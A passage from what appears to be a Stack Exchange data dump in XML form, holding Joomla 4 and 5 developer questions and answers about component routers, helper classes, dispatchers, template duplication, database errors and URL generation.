$this-&amp;gt;attachRule(new StandardRules($this));&#xA;        $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;    }&#xA;&#xA;    public function getDogSegment($key, $urlQuery)&#xA;    {&#xA;   &#xA;        $query = $this-&amp;gt;db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($this-&amp;gt;db-&amp;gt;quoteName('dogName'))&#xA;            -&amp;gt;from($this-&amp;gt;db-&amp;gt;quoteName('#__bnc_dogs'))&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('dogID') . ' = ' . (int) $dogID);&#xA;        $this-&amp;gt;db-&amp;gt;setQuery($query);&#xA;        $dogName = $this-&amp;gt;db-&amp;gt;loadResult();&#xA;    }&#xA;&#xA;    public function getDogId($segment, $urlQuery)&#xA;    {&#xA;        &#xA;        $query = $this-&amp;gt;db-&amp;gt;getQuery(true);&#xA;        $query-&amp;gt;select($this-&amp;gt;db-&amp;gt;quoteName('dogID'))&#xA;            -&amp;gt;from($this-&amp;gt;db-&amp;gt;quoteName('#__bnc_dogs'))&#xA;            -&amp;gt;where($this-&amp;gt;db-&amp;gt;quoteName('dogName') . ' = :dogName')&#xA;            -&amp;gt;bind(':dogName', $segment);&#xA;        $this-&amp;gt;db-&amp;gt;setQuery($query);&#xA;        return (int) $this-&amp;gt;db-&amp;gt;loadResult();&#xA;    }&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I wonder if I could skip the router functionality if dogID is not set in the link.&lt;/p&gt;&#xA;&lt;p&gt;I would highly appreciate any pointer to tackle that...&#xA;Thanks,&#xA;Gerald&lt;/p&gt;&#xA;" OwnerUserId="17658" LastActivityDate="2024-03-11T23:07:12.773" Title="Frontend New Button and Router.php" Tags="|joomla-5.x|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="33712" PostTypeId="2" ParentId="33702" CreationDate="2024-03-11T14:50:21.883" Score="0" Body="&lt;p&gt;there is a way to duplicate a template in Joomla 5. - Do the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;go to &amp;quot;System&amp;quot; on backend&lt;/li&gt;&#xA;&lt;li&gt;Click on &amp;quot;Site Template Styles&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Check the box beside the Template you want to duplicate&lt;/li&gt;&#xA;&lt;li&gt;If you check the box the Duplicate button becomes available on the top&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I hope this helps...&lt;/p&gt;&#xA;" OwnerUserId="17658" LastActivityDate="2024-03-11T14:50:21.883" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33713" PostTypeId="1" CreationDate="2024-03-11T17:13:44.293" Score="1" ViewCount="21" Body="&lt;p&gt;In Joomla 4.4.2 the Smart Search component translation doesn't work for any other language then english but it happens only for 6 translations:&#xA;COM_FINDER_ADVANCED_TIPS_AND;&#xA;COM_FINDER_ADVANCED_TIPS_INTRO;&#xA;COM_FINDER_ADVANCED_TIPS_NOT;&#xA;COM_FINDER_ADVANCED_TIPS_OR;&#xA;COM_FINDER_ADVANCED_TIPS_OUTRO;&#xA;COM_FINDER_ADVANCED_TIPS_PHRASE;&#xA;When I try to modify them from ini file doesn't work.&#xA;Someone knows why.&lt;/p&gt;&#xA;" OwnerUserId="8456" LastEditorUserId="13472" LastEditDate="2024-03-12T07:49:36.683" LastActivityDate="2024-03-12T07:49:36.683" Title="Smart Search translation" Tags="|joomla-4.x|language|smartsearch|" AnswerCount="0" CommentCount="7" ContentLicense="CC BY-SA 4.0" />
  <row Id="33714" PostTypeId="2" ParentId="32734" CreationDate="2024-03-11T20:34:49.343" Score="0" Body="&lt;p&gt;A similar problem came up in a custom template I was upgrading to work with a site upgraded from Joomla 3 to Joomla 4. It wasn't text that was missing, but the icons (added with FontAwesome) were not showing. The custom template needed to have Font Awesome style included.&lt;/p&gt;&#xA;&lt;p&gt;Adding the following code to the  section was a quick and easy fix (once I figured it out). I added it right before my template's stylesheet, so that always has final say.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;link href=&amp;quot;media/system/css/joomla-fontawesome.min.css&amp;quot; rel=&amp;quot;stylesheet&amp;quot; /&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;There is a &amp;quot;proper&amp;quot; method to add FontAwesome with the new web asset manager but if you need a quick fix to patch up an existing site, that should do.&lt;/p&gt;&#xA;&lt;p&gt;If you need/want text rather than icons, you probably do need to go with a template override.&lt;/p&gt;&#xA;" OwnerUserId="11088" LastActivityDate="2024-03-11T20:34:49.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33715" PostTypeId="2" ParentId="33711" CreationDate="2024-03-11T23:07:12.773" Score="1" Body="&lt;p&gt;I have always had SEO friendly switched on and not had an issue with the router blocking.  So I thought I might as well post my whole router.php file here so that hopefully it may help.  I have 3 views per &amp;quot;function&amp;quot; being an item view, list view and a form view.  In the below example I have &amp;quot;transaction&amp;quot;, &amp;quot;transactions&amp;quot;, and &amp;quot;transactionform&amp;quot; views. So if I have more &amp;quot;functions&amp;quot; then I would add these by replicating each of the methods involved.  Hope this helps.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;/**&#xA; * @version    0.0.2&#xA; * @package    com_mycomponent&#xA; * @author     Glenn Arkell &amp;lt;glenn@glennarkell.com.au&amp;gt;&#xA; * @copyright  2021 Glenn Arkell&#xA; * @license    GNU General Public License version 2 or later; see LICENSE.txt&#xA; */&#xA;&#xA;namespace GlennArkell\Component\Mycomponent\Site\Service;&#xA;&#xA;// No direct access&#xA;defined('_JEXEC') or die;&#xA;&#xA;use \Joomla\CMS\Component\Router\RouterViewConfiguration;&#xA;use \Joomla\CMS\Component\Router\RouterView;&#xA;use \Joomla\CMS\Component\Router\Rules\StandardRules;&#xA;use \Joomla\CMS\Component\Router\Rules\NomenuRules;&#xA;use \Joomla\CMS\Component\Router\Rules\MenuRules;&#xA;use \Joomla\CMS\Factory;&#xA;use \Joomla\CMS\Categories\Categories;&#xA;use \Joomla\CMS\Application\SiteApplication;&#xA;use \Joomla\CMS\Categories\CategoryFactoryInterface;&#xA;use \Joomla\CMS\Categories\CategoryInterface;&#xA;use \Joomla\Database\DatabaseInterface;&#xA;use \Joomla\CMS\Menu\AbstractMenu;&#xA;//use \GlennArkell\Component\Mycomponent\Administrator\Helper\MycomponentHelper;&#xA;&#xA;/**&#xA; * Class Component Router&#xA; */&#xA;class Router extends RouterView&#xA;{&#xA;    private $noIDs;&#xA;&#xA;    /**&#xA;     * The category factory&#xA;     * @var CategoryFactoryInterface&#xA;     * @since  4.0.0&#xA;     */&#xA;    private $categoryFactory;&#xA;&#xA;    /**&#xA;     * The category cache&#xA;     * @var  array&#xA;     * @since  4.0.0&#xA;     */&#xA;    private $categoryCache = [];&#xA;&#xA;    public function __construct(SiteApplication $app, AbstractMenu $menu, CategoryFactoryInterface $categoryFactory, DatabaseInterface $db)&#xA;    {&#xA;        $params = Factory::getApplication()-&amp;gt;getParams('com_gabarebone');&#xA;        $this-&amp;gt;noIDs = (bool) $params-&amp;gt;get('sef_ids');&#xA;        $this-&amp;gt;categoryFactory = $categoryFactory;&#xA;        &#xA;        /* -------------------------------------------------------- */&#xA;        /* -------   transactions Config  --------------- */&#xA;        /* -------------------------------------------------------- */&#xA;        $transactions = new RouterViewConfiguration('transactions');&#xA;        $this-&amp;gt;registerView($transactions);&#xA;&#xA;        $transaction = new RouterViewConfiguration('transaction');&#xA;        $transaction-&amp;gt;setKey('id')-&amp;gt;setParent($transactions, 'catid');&#xA;        $this-&amp;gt;registerView($transaction);&#xA;&#xA;        $transactionform = new RouterViewConfiguration('transactionform');&#xA;        $transactionform-&amp;gt;setKey('id');&#xA;        $this-&amp;gt;registerView($transactionform);&#xA;&#xA;        /* -------------------------------------------------------- */&#xA;        /* -------   parent construct and rules  --------------- */&#xA;        /* -------------------------------------------------------- */&#xA;        parent::__construct($app, $menu);&#xA;&#xA;        $this-&amp;gt;attachRule(new MenuRules($this));&#xA;        $this-&amp;gt;attachRule(new StandardRules($this));&#xA;        $this-&amp;gt;attachRule(new NomenuRules($this));&#xA;    }&#xA;&#xA;    /* -------------------------------------------------------- */&#xA;    /* -------   transactions segments &amp;amp; id linkage  --------------- */&#xA;    /* -------------------------------------------------------- */&#xA;    /**&#xA;     * Method to get the segment(s)&#xA;     * @param   string  $id     ID of the category to retrieve the segments for&#xA;     * @param   array   $query  The request that is built right now&#xA;     * @return  array|string  The segments of this item&#xA;     */&#xA;    public function getTransactionsSegment($id, $query)&#xA;    {&#xA;        $category = $this-&amp;gt;getCategories([&amp;quot;access&amp;quot; =&amp;gt; true])-&amp;gt;get($id);&#xA;&#xA;        if ($category) {&#xA;            $path = array_reverse($category-&amp;gt;getPath(), true);&#xA;            $path[0] = '1:root';&#xA;&#xA;            if ($this-&amp;gt;noIDs) {&#xA;                foreach ($path as &amp;amp;$segment) {&#xA;                    list($id, $segment) = explode(':', $segment, 2);&#xA;                }&#xA;            }&#xA;&#xA;            return $path;&#xA;        }&#xA;&#xA;        return array();&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the segment(s) for a single record&#xA;     * @param   string  $id     ID of the record to retrieve the segments for&#xA;     * @param   array   $query  The request that is built right now&#xA;     * @return  array|string  The segments of this item&#xA;     */&#xA;    public function getTransactionSegment($id, $query)&#xA;    {&#xA;        return array((int) $id =&amp;gt; $id);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the segment(s) for a record when using a form&#xA;     * @param   string  $id     ID of the record to retrieve the segments for&#xA;     * @param   array   $query  The request that is built right now&#xA;     * @return  array|string  The segments of this item&#xA;     */&#xA;    public function getTransactionformSegment($id, $query)&#xA;    {&#xA;        return $this-&amp;gt;getTransactionSegment($id, $query);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the id reference for a record segment&#xA;     * @param   string  $segment  Segment of the record to retrieve the ID for&#xA;     * @param   array   $query    The request that is parsed right now&#xA;     * @return  mixed   The id of this item or false&#xA;     */&#xA;    public function getTransactionId($segment, $query)&#xA;    {&#xA;        return (int) $segment;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the id reference for a record segment when using a form&#xA;     * @param   string  $segment  Segment of the record to retrieve the ID for&#xA;     * @param   array   $query    The request that is parsed right now&#xA;     * @return  mixed   The id of this item or false&#xA;     */&#xA;    public function getTransactionformId($segment, $query)&#xA;    {&#xA;        return $this-&amp;gt;getTransactionId($segment, $query);&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get the id for a record list&#xA;     * @param   string  $segment  Segment to retrieve the ID for&#xA;     * @param   array   $query    The request that is parsed right now&#xA;     * @return  mixed   The id of this item or false&#xA;     */&#xA;    public function getTransactionsId($segment, $query)&#xA;    {&#xA;        if (isset($query['id'])) {&#xA;            $category = $this-&amp;gt;getCategories([&amp;quot;access&amp;quot; =&amp;gt; true])-&amp;gt;get($query['id']);&#xA;&#xA;            if ($category) {&#xA;                foreach ($category-&amp;gt;getChildren() as $child) {&#xA;                    if ($this-&amp;gt;noIDs) {&#xA;                        if ($child-&amp;gt;alias == $segment) {&#xA;                            return $child-&amp;gt;id;&#xA;                        }&#xA;                    } else {&#xA;                        if ($child-&amp;gt;id == (int) $segment) {&#xA;                            return $child-&amp;gt;id;&#xA;                        }&#xA;                    }&#xA;                }&#xA;            }&#xA;        }&#xA;&#xA;        return false;&#xA;    }&#xA;&#xA;    /**&#xA;     * Method to get categories from cache&#xA;     * @param   array  $options   The options for retrieving categories&#xA;     * @return  CategoryInterface  The object containing categories&#xA;     * @since   4.0.0&#xA;     */&#xA;    private function getCategories(array $options = []): CategoryInterface&#xA;    {&#xA;        $key = serialize($options);&#xA;&#xA;        if (!isset($this-&amp;gt;categoryCache[$key])) {&#xA;            $this-&amp;gt;categoryCache[$key] = $this-&amp;gt;categoryFactory-&amp;gt;createCategory($options);&#xA;        }&#xA;&#xA;        return $this-&amp;gt;categoryCache[$key];&#xA;    }&#xA;&#xA;    /* -------------------------------------------------------- */&#xA;    /* -------   other segments &amp;amp; id linkage  --------------- */&#xA;    /* -------------------------------------------------------- */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1985" LastActivityDate="2024-03-11T23:07:12.773" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33716" PostTypeId="1" AcceptedAnswerId="33730" CreationDate="2024-03-12T13:48:23.130" Score="0" ViewCount="39" Body="&lt;p&gt;I'm quite new to Joomla. I have a component with multiple different models and views, but a few of them use the same functions. Right now I have those functions copied in every model file, but I'd prefer to just have a single file with those functions.&lt;/p&gt;&#xA;&lt;p&gt;After looking up solutions on the internet, the right way to do it seems to be to create a helper class somewhere in the component, but there's so much contradictory information that I'm not sure where I'm supposed to put it, and how to access it from my model files.&lt;/p&gt;&#xA;&lt;p&gt;My component has a &amp;quot;site&amp;quot; directory, and in it, there are &amp;quot;models&amp;quot; and &amp;quot;views&amp;quot;. I added a third folder, &amp;quot;helpers&amp;quot;. Inside it, I made a MyHelper.php file like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;class MyHelper&#xA;{&#xA;    public static function meep()&#xA;    {&#xA;        echo &amp;quot;Meep! Helper works!&amp;quot;;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But how do I access it from inside my model php files? I've tried various pieces of code I found online, but nothing seems to work.&lt;/p&gt;&#xA;&lt;p&gt;First, I tried putting this line in my model file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\Component\[my component name]\Site\Helper\MyHelper;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and then later inside a function:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;MyHelper::meep();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;However, when I open the page, I get this error right in the page title:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Class &amp;quot;Joomla\Component\[my component name]\Site\Helper\MyHelper&amp;quot; not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;So I tried replacing that &amp;quot;use&amp;quot; line with this, which I found somewhere else on the internet:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JLoader::register('MyHelper', JPATH_SITE . '/components/com_[my component name]/helpers/MyHelper.php');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And now the error is simply:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Class &amp;quot;MyHelper&amp;quot; not found&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;What am I doing wrong?&lt;/p&gt;&#xA;" OwnerUserId="17668" LastEditorUserId="17668" LastEditDate="2024-03-12T13:49:26.223" LastActivityDate="2024-03-16T13:06:24.913" Title="How to add a helper class to a component in Joomla 4?" Tags="|component|joomla-4.x|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33717" PostTypeId="1" AcceptedAnswerId="33719" CreationDate="2024-03-12T19:00:38.387" Score="0" ViewCount="24" Body="&lt;p&gt;For a custom component in Joomla 4 (and 5), is there a way to have some component code that gets executed after the controller execution step, regardless of which controller is triggered?&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;Why?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 1.5, 2 and 3, I had some code in my component that would automatically locate and inject supporting JS and CSS files that matched the view and layout of the page being rendered. This was a single function call into a library function for the purpose, and was invoked as illustrated below, from within the main component PHP file.&lt;/p&gt;&#xA;&lt;p&gt;Part of the reason for having this particular step after the &lt;code&gt;$controller-&amp;gt;execute(...)&lt;/code&gt; step is that often the controller will set or adjust the view and layout values eg. if these are not explicitly set in the request.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Create the controller&#xA;$controller = new $controllerName();&#xA;&#xA;// Perform the requested task&#xA;$controller-&amp;gt;execute( $task );&#xA;&#xA;// Include view and layout specific JS and CSS files if they exist&#xA;MyComponentHelper::includeViewFiles();&#xA;&#xA;// Redirect if set by the controller&#xA;$controller-&amp;gt;redirect();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In Joomla 4, now with DI, it is not obvious how I might achieve the same result. Should I be somehow creating my own custom ComponentDispatcher or ComponentDispatcherFactory class to supply to the DI container? (Probably not.)&lt;/p&gt;&#xA;&lt;p&gt;Alternatively, if there is a more correct way for me to inject my JS and CSS files (without needing to update every view or every individual controller - I have a lot!), I am also keen to know about that!&lt;/p&gt;&#xA;" OwnerUserId="454" LastEditorUserId="454" LastEditDate="2024-03-12T20:28:24.197" LastActivityDate="2024-03-12T23:04:33.370" Title="Where to place component code that executes after controller invocation?" Tags="|php|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33718" PostTypeId="2" ParentId="33702" CreationDate="2024-03-12T19:41:14.123" Score="0" Body="&lt;p&gt;This is not an answer but a long comment @Gerald&lt;/p&gt;&#xA;&lt;p&gt;er, no. That is not what I want. All that does is make a duplicate of the template style settings in the template_styles table in the database.  So you can have more than one set of style settings for a given template (default colours etc) for different parts of your site.&lt;/p&gt;&#xA;&lt;p&gt;What I am after is the old J3 facility to create a copy of the actual template files and install it as a fresh template that you can then customise. It was quite handy for creating a copy of a template to modify that wouldn't get overwritten by updates.&lt;/p&gt;&#xA;&lt;p&gt;The only way to do it now is manually by zipping up the template folder and the template's media folder  and copying them to new folders with a new name and manually editing all of the references to the old template name so that the namespacing etc all works and doesn't get confused. Not so simple as it was in J3 which is probably why they couldn't be arsed to include it in J5.&lt;/p&gt;&#xA;" OwnerUserId="12658" LastActivityDate="2024-03-12T19:41:14.123" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33719" PostTypeId="2" ParentId="33717" CreationDate="2024-03-12T21:02:56.213" Score="1" Body="&lt;p&gt;If you wanted to follow the same approach then I would say that you should create your own Dispatcher class, which extends the Joomla ComponentDispatcher, but overrides the dispatch() function.&lt;/p&gt;&#xA;&lt;p&gt;If you define a Dispatcher class with your namespace then the ComponentDispatcherFactory will automatically find it, without needing to change your services/provider.php. It might sound a bit complicated but it's really easy to do. Add a comment if you want more detail about how to go about it.&lt;/p&gt;&#xA;&lt;p&gt;I would also recommend the &lt;a href=&quot;https://manual.joomla.org/docs/general-concepts/web-asset-manager&quot; rel=&quot;nofollow noreferrer&quot;&gt;web asset manager&lt;/a&gt; if you're not already using it, as it makes your life so much easier.&lt;/p&gt;&#xA;" OwnerUserId="11650" LastEditorUserId="11650" LastEditDate="2024-03-12T23:04:33.370" LastActivityDate="2024-03-12T23:04:33.370" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33720" PostTypeId="1" CreationDate="2024-03-13T09:45:06.247" Score="0" ViewCount="16" Body="&lt;p&gt;I have a table named &lt;code&gt;edu2f_jobs_jobs&lt;/code&gt;.&lt;br/&gt;&#xA;This table is received here:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getTable($type = 'Job', $prefix = 'Administrator', $config = array())&#xA;{&#xA;    return parent::getTable($type, $prefix, $config);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Inside the JobModel there is a piece of code that does this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// Get a level row instance.&#xA;        $table = $this-&amp;gt;getTable();&#xA;        // Attempt to load the row.&#xA;        if ($table &amp;amp;&amp;amp; $table-&amp;gt;load($id))&#xA;        {&#xA;&#xA;&#xA;            // Check published state.&#xA;            if ($published = $this-&amp;gt;getState('filter.published'))&#xA;            {&#xA;                if (isset($table-&amp;gt;state) &amp;amp;&amp;amp; $table-&amp;gt;state != $published)&#xA;                {&#xA;                    throw new \Exception(Text::_('COM_JOBS_ITEM_NOT_LOADED'), 403);&#xA;                }&#xA;            }&#xA;&#xA;            // Convert the Table to a clean CMSObject.&#xA;            $properties  = $table-&amp;gt;getProperties(1);&#xA;            $this-&amp;gt;_item = ArrayHelper::toObject($properties, CMSObject::class);&#xA;&#xA;            &#xA;        }&#xA;        if (empty($this-&amp;gt;_item))&#xA;        {&#xA;            throw new \Exception(Text::_('COM_JOBS_ITEM_NOT_LOADED'), 404);&#xA;        }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I get the error because &lt;code&gt;$this-&amp;gt;_item&lt;/code&gt; is empty.&lt;br/&gt;&#xA;However I don't know what is causing this or where to look.&lt;/p&gt;&#xA;&lt;p&gt;Can someone help me with this or why this is happening?&lt;/p&gt;&#xA;" OwnerUserId="17680" LastEditorUserId="17680" LastEditDate="2024-03-13T09:48:54.697" LastActivityDate="2024-03-13T09:48:54.697" Title="Joomla component detail view error: 404 Could not load the item" Tags="|joomla-4.x|custom-component|jtable|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="33721" PostTypeId="1" CreationDate="2024-03-13T15:06:40.827" Score="0" ViewCount="21" Body="&lt;p&gt;On my online server which has MySql 5.7 and PHP 7.4 I have three sites in joomla which have the following:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Mywebsite1 with joomla 3.10.11 and JD Boston template with Helix framework 3.0.3&lt;/li&gt;&#xA;&lt;li&gt;Mywebsite2 with joomla 3.10.11 and Masoko2 template with Helix framework 2.0.11&lt;/li&gt;&#xA;&lt;li&gt;Mywebsite2 with joomla 4.4.0 and template TZ Alita with Astroid framework 2.6.6&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;I imported all three sites to my server locally where I installed PHP version 8.1.2 and MariaDB 10.6.16 and I see that my sites even with Joomla version 3.10.11 continue to work.&lt;/p&gt;&#xA;&lt;p&gt;Since my online server on March 24 will be upgraded from MySql 5.7 to 8.0(LTS) the question is: In your opinion will this MySql change bother my sites with Joomla 3.10.11 or not?&lt;/p&gt;&#xA;" OwnerUserId="17681" LastActivityDate="2024-03-13T15:06:40.827" Title="Joomla 3.10.11 on server with MySql 8.0" Tags="|joomla-3.x|php|mysql|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33722" PostTypeId="1" CreationDate="2024-03-13T20:30:25.500" Score="0" ViewCount="32" Body="&lt;p&gt;I need to unload /media/vendor/jquery/js/jquery.min.js from&#xA;Joomla 5 in my custom template.&#xA;Anyone can help me?&lt;/p&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2024-03-15T08:37:23.120" Title="How can I unload scripts in Joomla 5" Tags="|javascript|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="33723" PostTypeId="2" ParentId="32455" CreationDate="2024-03-13T20:32:47.463" Score="0" Body="&lt;p&gt;Hello I have the solution, man.&#xA;I have a plugin to create custom XML for modules, templates, menus and any component.&#xA;&lt;a href=&quot;https://github.com/uzielweb/add_xml_fields&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/uzielweb/add_xml_fields&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Whith this extension that I create (self congrats), You can add a infinite fields :)&lt;/p&gt;&#xA;" OwnerUserId="9118" LastActivityDate="2024-03-13T20:32:47.463" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33724" PostTypeId="1" CreationDate="2024-03-13T23:34:04.103" Score="0" ViewCount="44" Body="&lt;p&gt;I am a component developer and now I am migrating my component to Joomla 4.x.&lt;/p&gt;&#xA;&lt;p&gt;In Joomla 3.x I could do code like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$row= new stdClass();&#xA;$row-&amp;gt;id = &amp;quot;2&amp;quot;;&#xA;$row-&amp;gt;user_id = &amp;quot;&amp;quot;;&#xA;$row-&amp;gt;anythind = &amp;quot;foo bar&amp;quot;;&#xA;&#xA;// Insert the object into the user profile table.&#xA;$result = JFactory::getDbo()-&amp;gt;updateObject('#__test_table', $row, 'id');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Note that user_id is an empty string but in the DB is an integer type column. But once executed the DB value of user_id would be cero.&lt;/p&gt;&#xA;&lt;p&gt;After upgrading to Joomla 4.4.3 the same code gives this error:&lt;/p&gt;&#xA;&lt;p&gt;&amp;quot;1366 Incorrect integer value: '' for column &lt;code&gt;database&lt;/code&gt;.&lt;code&gt;#__test_table&lt;/code&gt;.&lt;code&gt;user_id &lt;/code&gt; at row 1&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;Does not accept an empty string for a column of integers.&lt;/p&gt;&#xA;&lt;p&gt;I have also tried it with the JTable::store() method and I have the same result.&lt;/p&gt;&#xA;&lt;p&gt;With dozens of administration forms it is literally impossible to force all integer fields to have a zero and not simply leave them blank.&lt;/p&gt;&#xA;&lt;p&gt;I appreciate any help you can give me on this.&lt;/p&gt;&#xA;" OwnerUserId="371" LastActivityDate="2024-03-15T07:40:12.407" Title="DB error using updateObject or Store after upgrading to Joomla 4" Tags="|joomla-4.x|development|database|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33725" PostTypeId="1" AcceptedAnswerId="33726" CreationDate="2024-03-14T09:03:47.223" Score="0" ViewCount="21" Body="&lt;p&gt;I generate a link in a module as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$user-&amp;gt;contactAddress = str_replace(&amp;quot;//&amp;quot;, &amp;quot;/&amp;quot;, trim(JUri::base() . $params-&amp;gt;get('defaultContactAddress') . '?' . $params-&amp;gt;get('parameterName') . '=' . $user-&amp;gt;cfid));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;where&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;JUri::base() is https://mydomain.tld/devel/j4/&#xA;$params-&amp;gt;get('defaultContactAddress') is &amp;quot;direktkontakt&amp;quot;&#xA;$params-&amp;gt;get('parameterName') is &amp;quot;cfid&amp;quot;&#xA;$user-&amp;gt;cfid is 99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The link is properly generated, &lt;code&gt;echo $user-&amp;gt;contactAddress;&lt;/code&gt; gives &lt;code&gt;https:/mydomain.tld/devel/j4/direktkontakt?cfid=99&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The following is way unexpected:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;&amp;lt;?=$user-&amp;gt;contactAddress;?&amp;gt;&amp;quot;&amp;gt;&amp;lt;?=$user-&amp;gt;contactAddress;?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;results in&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&amp;quot;https:/mydomain.tld/devel/j4/direktkontakt?cfid=99&amp;quot;&amp;gt;https:/mydomain.tld/devel/j4/direktkontakt?cfid=99&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;BUT all tested browsers (Edge, Firefox, Chrome) point to&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;https://mydomain.tld/mydomain.tld/devel/j4/direktkontakt?cfid=99&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Has anyone any ideas why?&lt;/p&gt;&#xA;" OwnerUserId="8120" LastActivityDate="2024-03-14T09:47:10.703" Title="Generated &lt;a&gt; links to wrong URL" Tags="|joomla-4.x|module|development|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="33726" PostTypeId="2" ParentId="33725" CreationDate="2024-03-14T09:47:10.703" Score="1" Body="&lt;p&gt;The &lt;code&gt;str_replace()&lt;/code&gt; call breaks the URL by changing &lt;code&gt;https://mydomain.tld&lt;/code&gt; to &lt;code&gt;https:/mydomain.tld&lt;/code&gt;. The code can be changed in many ways, depending on your use case. You may add validation to &lt;code&gt;defaultContactAddress&lt;/code&gt; field to prevent users adding a leading slash in the first place. Or you may trim the leading slash from the value and not from the whole URL:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;ltrim($params-&amp;gt;get('defaultContactAddress'), '/')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;On HTML pages it's generally not necessary to include absolute URLs. So you can use &lt;code&gt;JUri::base(true)&lt;/code&gt; to get just the path of your Joomla root which would also avoid the issue.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2024-03-14T09:47:10.703" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
